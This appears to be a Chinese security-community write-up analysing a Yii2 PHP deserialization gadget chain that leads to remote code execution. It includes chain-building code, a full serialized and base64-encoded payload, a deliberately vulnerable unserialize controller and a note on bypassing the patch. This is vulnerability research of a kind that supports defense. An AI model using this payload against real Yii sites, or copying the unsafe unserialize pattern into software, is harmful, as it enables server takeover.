奇安信攻防社区-Yii框架反序列化RCE利用链分析

Yii框架反序列化RCE利用链分析

0x01.对比补丁
=========

![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/f56d9ecf795f13ea399be4e820f061cce.jpg)

发现在./yii2/db/BatchQueryResult.php中新增了**wakeup方法，在**wakeup方法中抛出了一个异常。

我们看下**wakeup方法的介绍：  
> [unserialize()](https://www.php.net/manual/zh/function.unserialize.php) 会检查是否存在一个 \[**wakeup()\](<https://www.php.net/manual/zh/language.oop5.magic.php#object.wakeup>) 方法。如果存在，则会先调用 \_\_wakeup 方法，预先准备对象需要的资源。

用\_\_wakeup()方法抛出一个异常，其实是为了防止BatchQueryResult类被反序列化。

0x02.分析利用链
==========

其实在19年9月份，已经有师傅分析了这条利用链，结尾会放出链接。  
首先看yii2/db/BatchQueryResult类中，存在\_\_destruct方法：![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/ff2374cb437d2d11d3debcef03ef81f1e.jpg)  
看到$this->\_dataReader可控，这里有两条利用链可以走：

- 把$this->\_dataReader赋值为一个没有close方法的类，调用其\_\_call方法，从而实现代码执行
- 把$this->\_dataReader赋值为一个存在close方法的类，需要找到该close方法的调用过程中存在代码执行的调用。

![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/f80da3d8f4244c7e8038ddb837cfb7552.jpg)  
有23个实现了close方法的类，找到关键类：yii2/web/DbSession，代码如下：  
![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/f7aa774c9abed089f6d3053ff61338e4a.jpg)  
当$this->getIsActive为true时，则会调用composeFields方法。我们看下getIsActive的方法的实现：

```php
<?php
// code from yii2/web/Session.php

public function getIsActive()
{
    return session_status() === PHP_SESSION_ACTIVE;
}
```

这里默认安装情况下都返回true，根据大佬描述说装了debug和gii插件，无论开不开启，都返回true。

然后跟进composeFields方法，该方法实现于它的父类：yii2/web/MultiFieldSession。  
![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/fc02d2cb104f5aed4966c1192b7e6b168.jpg)  
这里调用了call\_user\_func函数，并且函数名$this->writeCallback可控，但其参数不可控。可以用\[(new test),"aaa"\]来绕过，如果$this->writeCallback传入\[(new test),"aaa"\]，则会调用test类的公共方法aaa。

所以需要找到一个拥有可以执行命令的公共方法的类，比如：yii2/rest/IndexAction类的run方法，代码如下：  
![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/f8ebcfbe9c89e1a511a8f296dda5b135a.jpg)  
并且call\_user\_func的两个函数均可控。  
到这里利用链分析完毕，其实也是照葫芦画瓢，现学现卖的。

利用链如下：

```php
yii2/rest/IndexAction() ->run()
yii2/web/MultiFieldSession() ->composeFields() # 存在call_user_func，仅可控第一个参数
yii2/web/DbSession()->close()
yii2/db/BatchQueryResult()->reset()
yii2/db/BatchQueryResult()->__destruct()
```

0x03.通过利用链构造payload
===================

大佬们可能有了利用链很容易构造出payload，我比较菜也是折腾了很久才搞出来。  
因为看到文章中放了个工具叫：phpggc，今天一直用这个工具生成payload，但是都在反序列化的时候出错了。后来发现里面确实错了，少了一些属性。

- 实例化一个BatchQueryResult类，并设置其属性$\_dataReader

这里因为$\_dataReader是私有变量，所以要写一个函数来设置该变量的值。修改yii2/db/BatchQueryResult类的代码加上：

```php
    public function setDataReader($value){
        $this->_dataReader = $value;
    }
```

然后编写实例化代码：

```php
$bqrObj = new BatchQueryResult();
```

- 实例化yii2/web/DbSession类，并将对象赋值给$bqrObj的\_dataReader变量
- 实例化yii2/rest/IndexAction类，赋值给yii2/web/DbSession类的writeCallback变量： ```php
    // 现有代码
                $bqrObj = new BatchQueryResult();
        $bdsObj = new DbSession();
        $indexAction = new IndexAction();
        $bdsObj -> writeCallback = array($indexAction,"run");
        $bqrObj->setDataReader($bdsObj);
        var_dump(serialize($bqrObj));
    ```
    
    这里要注意实例化IndexAction类时，要注意其构造方法，实现于其父类的父类：\\yii\\base\\Action类  
    ![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/fce0db445b284db2bedb257b65cb65556.jpg)  
    然后跟进其父类Compoent的\_\_construct方法：  
    ![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/f48cbdf0e880c50d3f9e0734c0f1794ef.jpg)  
    继续看Yii::configure的实现：  
    ![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/f7374573e16cb9c14e9bb0cf8432a11d6.jpg)  
    其实就是便利字典格式数据，把数据以key为变量名，value为值设置给传入的对象。  
    所以构造demo：
    
    ```php
    public function actionSay($message = 'Hello')
    {
        $bqrObj = new BatchQueryResult();
        $bdsObj = new DbSession();
        $indexAction = new IndexAction(1,1); //config变量非必填
        $indexAction->checkAccess = 'phpinfo';
        $bdsObj -> writeCallback = array($indexAction,"run");
        $bqrObj->setDataReader($bdsObj);
        var_dump(serialize($bqrObj));
        return $this->render('say', ['message' => $message]);
    }
    ```
    
    然后访问web，如下：  
    ![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/fbbb40d24a34b72f20517e9a2187503cd.jpg)  
    出错，说是$this->modelClass为空，翻看附近的代码。  
    ![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/f1bf56f2b36e2451996a94c1dcf206ff7.jpg)  
    所以构造demo：  
    ![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/fb6243236e928a2ecf4b61bb5c1afafa3.jpg)  
    但是：  
    ![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/fcb77dd50256bd8cf1455378a22f3efac.jpg)  
    仍然显示$this->modelClass未设置，究其原因，是因为实例化的是indexAction而不是yii2/rest/Action类，所以直接$indexAction->modelClass设置不了yii2/rest/Action的modelClass的值。

这时候想到yii2/base/Action类中的\_\_construct方法，可以设置变量，而yii2/rest/Action是yii2/base/Action的子类，可以继承其属性和方法。  
所以修改demo：  
![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/ff9d5dffa38134b5d3b950254d3e2bb01.jpg)  
![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/f3e9619145340615e479a60deb4aa3634.jpg)  
phpinfo成功执行，payload为：

```php
O:23:"yii\db\BatchQueryResult":9:{s:2:"db";N;s:5:"query";N;s:9:"batchSize";i:100;s:4:"each";b:0;s:36:" yii\db\BatchQueryResult _dataReader";O:17:"yii\web\DbSession":13:{s:2:"db";O:17:"yii\db\Connection":37:{s:3:"dsn";s:37:"mysql:host=localhost;dbname=yii2basic";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:10:"attributes";N;s:17:"enableSchemaCache";b:0;s:19:"schemaCacheDuration";i:3600;s:18:"schemaCacheExclude";a:0:{}s:11:"schemaCache";s:5:"cache";s:16:"enableQueryCache";b:1;s:18:"queryCacheDuration";i:3600;s:10:"queryCache";s:5:"cache";s:7:"charset";s:4:"utf8";s:14:"emulatePrepare";N;s:11:"tablePrefix";s:0:"";s:9:"schemaMap";a:10:{s:5:"pgsql";s:19:"yii\db\pgsql\Schema";s:6:"mysqli";s:19:"yii\db\mysql\Schema";s:5:"mysql";s:19:"yii\db\mysql\Schema";s:6:"sqlite";s:20:"yii\db\sqlite\Schema";s:7:"sqlite2";s:20:"yii\db\sqlite\Schema";s:6:"sqlsrv";s:19:"yii\db\mssql\Schema";s:3:"oci";s:17:"yii\db\oci\Schema";s:5:"mssql";s:19:"yii\db\mssql\Schema";s:5:"dblib";s:19:"yii\db\mssql\Schema";s:6:"cubrid";s:20:"yii\db\cubrid\Schema";}s:8:"pdoClass";N;s:12:"commandClass";s:14:"yii\db\Command";s:10:"commandMap";a:10:{s:5:"pgsql";s:14:"yii\db\Command";s:6:"mysqli";s:14:"yii\db\Command";s:5:"mysql";s:14:"yii\db\Command";s:6:"sqlite";s:21:"yii\db\sqlite\Command";s:7:"sqlite2";s:21:"yii\db\sqlite\Command";s:6:"sqlsrv";s:14:"yii\db\Command";s:3:"oci";s:18:"yii\db\oci\Command";s:5:"mssql";s:14:"yii\db\Command";s:5:"dblib";s:14:"yii\db\Command";s:6:"cubrid";s:14:"yii\db\Command";}s:15:"enableSavepoint";b:1;s:17:"serverStatusCache";s:5:"cache";s:19:"serverRetryInterval";i:600;s:12:"enableSlaves";b:1;s:6:"slaves";a:0:{}s:11:"slaveConfig";a:0:{}s:7:"masters";a:0:{}s:12:"masterConfig";a:0:{}s:14:"shuffleMasters";b:1;s:13:"enableLogging";b:1;s:15:"enableProfiling";b:1;s:8:"isSybase";b:0;s:30:" yii\db\Connection _driverName";N;s:34:" yii\db\Connection _queryCacheInfo";a:0:{}s:36:" yii\db\Connection _quotedTableNames";N;s:37:" yii\db\Connection _quotedColumnNames";N;s:27:" yii\base\Component _events";a:0:{}s:35:" yii\base\Component _eventWildcards";a:0:{}s:30:" yii\base\Component _behaviors";N;}s:12:"sessionTable";s:12:"{{%session}}";s:9:" * fields";a:0:{}s:12:"readCallback";N;s:13:"writeCallback";a:2:{i:0;O:20:"yii\rest\IndexAction":10:{s:19:"prepareDataProvider";N;s:10:"dataFilter";N;s:10:"modelClass";s:21:"ActiveRecordInterface";s:9:"findModel";N;s:11:"checkAccess";s:7:"phpinfo";s:2:"id";i:1;s:10:"controller";i:1;s:27:" yii\base\Component _events";a:0:{}s:35:" yii\base\Component _eventWildcards";a:0:{}s:30:" yii\base\Component _behaviors";N;}i:1;s:3:"run";}s:10:"flashParam";s:7:"__flash";s:7:"handler";N;s:30:" yii\web\Session _cookieParams";a:1:{s:8:"httponly";b:1;}s:34:" yii\web\Session frozenSessionData";N;s:30:" yii\web\Session _hasSessionId";N;s:27:" yii\base\Component _events";a:0:{}s:35:" yii\base\Component _eventWildcards";a:0:{}s:30:" yii\base\Component _behaviors";N;}s:31:" yii\db\BatchQueryResult _batch";N;s:31:" yii\db\BatchQueryResult _value";N;s:29:" yii\db\BatchQueryResult _key";N;s:49:" yii\db\BatchQueryResult mssqlNoMoreRowsErrorCode";i:-13;}
```

0x04.构造有存在漏洞的demo验证
===================

修改根目录下的controllers/SiteController.php文件，添加一代码：

```php
    public function actionSay($message = 'Hello')
    {

$data = base64_decode($message);
        unserialize($data);
        return $this->response($data);
    }
```

将payload进行base64编码：

```json
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjk6e3M6MjoiZGIiO047czo1OiJxdWVyeSI7TjtzOjk6ImJhdGNoU2l6ZSI7aToxMDA7czo0OiJlYWNoIjtiOjA7czozNjoiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF9kYXRhUmVhZGVyIjtPOjE3OiJ5aWlcd2ViXERiU2Vzc2lvbiI6MTM6e3M6MjoiZGIiO086MTc6InlpaVxkYlxDb25uZWN0aW9uIjozNzp7czozOiJkc24iO3M6Mzc6Im15c3FsOmhvc3Q9bG9jYWxob3N0O2RibmFtZT15aWkyYmFzaWMiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czowOiIiO3M6MTA6ImF0dHJpYnV0ZXMiO047czoxNzoiZW5hYmxlU2NoZW1hQ2FjaGUiO2I6MDtzOjE5OiJzY2hlbWFDYWNoZUR1cmF0aW9uIjtpOjM2MDA7czoxODoic2NoZW1hQ2FjaGVFeGNsdWRlIjthOjA6e31zOjExOiJzY2hlbWFDYWNoZSI7czo1OiJjYWNoZSI7czoxNjoiZW5hYmxlUXVlcnlDYWNoZSI7YjoxO3M6MTg6InF1ZXJ5Q2FjaGVEdXJhdGlvbiI7aTozNjAwO3M6MTA6InF1ZXJ5Q2FjaGUiO3M6NToiY2FjaGUiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjE0OiJlbXVsYXRlUHJlcGFyZSI7TjtzOjExOiJ0YWJsZVByZWZpeCI7czowOiIiO3M6OToic2NoZW1hTWFwIjthOjEwOntzOjU6InBnc3FsIjtzOjE5OiJ5aWlcZGJccGdzcWxcU2NoZW1hIjtzOjY6Im15c3FsaSI7czoxOToieWlpXGRiXG15c3FsXFNjaGVtYSI7czo1OiJteXNxbCI7czoxOToieWlpXGRiXG15c3FsXFNjaGVtYSI7czo2OiJzcWxpdGUiO3M6MjA6InlpaVxkYlxzcWxpdGVcU2NoZW1hIjtzOjc6InNxbGl0ZTIiO3M6MjA6InlpaVxkYlxzcWxpdGVcU2NoZW1hIjtzOjY6InNxbHNydiI7czoxOToieWlpXGRiXG1zc3FsXFNjaGVtYSI7czozOiJvY2kiO3M6MTc6InlpaVxkYlxvY2lcU2NoZW1hIjtzOjU6Im1zc3FsIjtzOjE5OiJ5aWlcZGJcbXNzcWxcU2NoZW1hIjtzOjU6ImRibGliIjtzOjE5OiJ5aWlcZGJcbXNzcWxcU2NoZW1hIjtzOjY6ImN1YnJpZCI7czoyMDoieWlpXGRiXGN1YnJpZFxTY2hlbWEiO31zOjg6InBkb0NsYXNzIjtOO3M6MTI6ImNvbW1hbmRDbGFzcyI7czoxNDoieWlpXGRiXENvbW1hbmQiO3M6MTA6ImNvbW1hbmRNYXAiO2E6MTA6e3M6NToicGdzcWwiO3M6MTQ6InlpaVxkYlxDb21tYW5kIjtzOjY6Im15c3FsaSI7czoxNDoieWlpXGRiXENvbW1hbmQiO3M6NToibXlzcWwiO3M6MTQ6InlpaVxkYlxDb21tYW5kIjtzOjY6InNxbGl0ZSI7czoyMToieWlpXGRiXHNxbGl0ZVxDb21tYW5kIjtzOjc6InNxbGl0ZTIiO3M6MjE6InlpaVxkYlxzcWxpdGVcQ29tbWFuZCI7czo2OiJzcWxzcnYiO3M6MTQ6InlpaVxkYlxDb21tYW5kIjtzOjM6Im9jaSI7czoxODoieWlpXGRiXG9jaVxDb21tYW5kIjtzOjU6Im1zc3FsIjtzOjE0OiJ5aWlcZGJcQ29tbWFuZCI7czo1OiJkYmxpYiI7czoxNDoieWlpXGRiXENvbW1hbmQiO3M6NjoiY3VicmlkIjtzOjE0OiJ5aWlcZGJcQ29tbWFuZCI7fXM6MTU6ImVuYWJsZVNhdmVwb2ludCI7YjoxO3M6MTc6InNlcnZlclN0YXR1c0NhY2hlIjtzOjU6ImNhY2hlIjtzOjE5OiJzZXJ2ZXJSZXRyeUludGVydmFsIjtpOjYwMDtzOjEyOiJlbmFibGVTbGF2ZXMiO2I6MTtzOjY6InNsYXZlcyI7YTowOnt9czoxMToic2xhdmVDb25maWciO2E6MDp7fXM6NzoibWFzdGVycyI7YTowOnt9czoxMjoibWFzdGVyQ29uZmlnIjthOjA6e31zOjE0OiJzaHVmZmxlTWFzdGVycyI7YjoxO3M6MTM6ImVuYWJsZUxvZ2dpbmciO2I6MTtzOjE1OiJlbmFibGVQcm9maWxpbmciO2I6MTtzOjg6ImlzU3liYXNlIjtiOjA7czozMDoiAHlpaVxkYlxDb25uZWN0aW9uAF9kcml2ZXJOYW1lIjtOO3M6MzQ6IgB5aWlcZGJcQ29ubmVjdGlvbgBfcXVlcnlDYWNoZUluZm8iO2E6MDp7fXM6MzY6IgB5aWlcZGJcQ29ubmVjdGlvbgBfcXVvdGVkVGFibGVOYW1lcyI7TjtzOjM3OiIAeWlpXGRiXENvbm5lY3Rpb24AX3F1b3RlZENvbHVtbk5hbWVzIjtOO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YTowOnt9czozNToiAHlpaVxiYXNlXENvbXBvbmVudABfZXZlbnRXaWxkY2FyZHMiO2E6MDp7fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7Tjt9czoxMjoic2Vzc2lvblRhYmxlIjtzOjEyOiJ7eyVzZXNzaW9ufX0iO3M6OToiACoAZmllbGRzIjthOjA6e31zOjEyOiJyZWFkQ2FsbGJhY2siO047czoxMzoid3JpdGVDYWxsYmFjayI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjEwOntzOjE5OiJwcmVwYXJlRGF0YVByb3ZpZGVyIjtOO3M6MTA6ImRhdGFGaWx0ZXIiO047czoxMDoibW9kZWxDbGFzcyI7czoyMToiQWN0aXZlUmVjb3JkSW50ZXJmYWNlIjtzOjk6ImZpbmRNb2RlbCI7TjtzOjExOiJjaGVja0FjY2VzcyI7czo3OiJwaHBpbmZvIjtzOjI6ImlkIjtpOjE7czoxMDoiY29udHJvbGxlciI7aToxO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YTowOnt9czozNToiAHlpaVxiYXNlXENvbXBvbmVudABfZXZlbnRXaWxkY2FyZHMiO2E6MDp7fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7Tjt9aToxO3M6MzoicnVuIjt9czoxMDoiZmxhc2hQYXJhbSI7czo3OiJfX2ZsYXNoIjtzOjc6ImhhbmRsZXIiO047czozMDoiAHlpaVx3ZWJcU2Vzc2lvbgBfY29va2llUGFyYW1zIjthOjE6e3M6ODoiaHR0cG9ubHkiO2I6MTt9czozNDoiAHlpaVx3ZWJcU2Vzc2lvbgBmcm96ZW5TZXNzaW9uRGF0YSI7TjtzOjMwOiIAeWlpXHdlYlxTZXNzaW9uAF9oYXNTZXNzaW9uSWQiO047czoyNzoiAHlpaVxiYXNlXENvbXBvbmVudABfZXZlbnRzIjthOjA6e31zOjM1OiIAeWlpXGJhc2VcQ29tcG9uZW50AF9ldmVudFdpbGRjYXJkcyI7YTowOnt9czozMDoiAHlpaVxiYXNlXENvbXBvbmVudABfYmVoYXZpb3JzIjtOO31zOjMxOiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2JhdGNoIjtOO3M6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfdmFsdWUiO047czoyOToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF9rZXkiO047czo0OToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AG1zc3FsTm9Nb3JlUm93c0Vycm9yQ29kZSI7aTotMTM7fQ==
```

![image.png](https://oss-yg-cztt.yun.qianxin.com/butian-public/f314cebd8c4125d683f89cd857d6da666.jpg)

0x05.补丁绕过分析
===========

可参考CVE-2016-7124漏洞php的\_\_wakeup方法绕过。  
CVE-2016-7124的影响范围：

- PHP5 < 5.6.25
- PHP7 < 7.0.10

也就是说在低版本的php当中，可能会造成补丁失效，暂未测试。

发表于 2021-04-07 20:03:19
阅读 ( 7189 )
分类：漏洞分析

Yii框架反序列化RCE利用链分析

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